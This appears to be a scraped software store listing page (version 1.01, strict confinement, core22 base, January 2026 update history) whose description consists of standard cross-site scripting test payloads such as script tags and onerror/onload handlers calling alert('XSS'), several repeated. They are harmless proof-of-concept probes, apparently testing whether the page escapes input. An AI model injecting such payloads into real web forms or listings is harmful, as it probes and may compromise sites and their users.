1.01unset
strict
core22
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
javascript:alert('XSS')
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
javascript:alert('XSS')
Update History
1.0 (1)16 Jan 2026, 18:05 UTC
16 Jan 2026, 17:51 UTC
16 Jan 2026, 17:50 UTC
16 Jan 2026, 18:05 UTC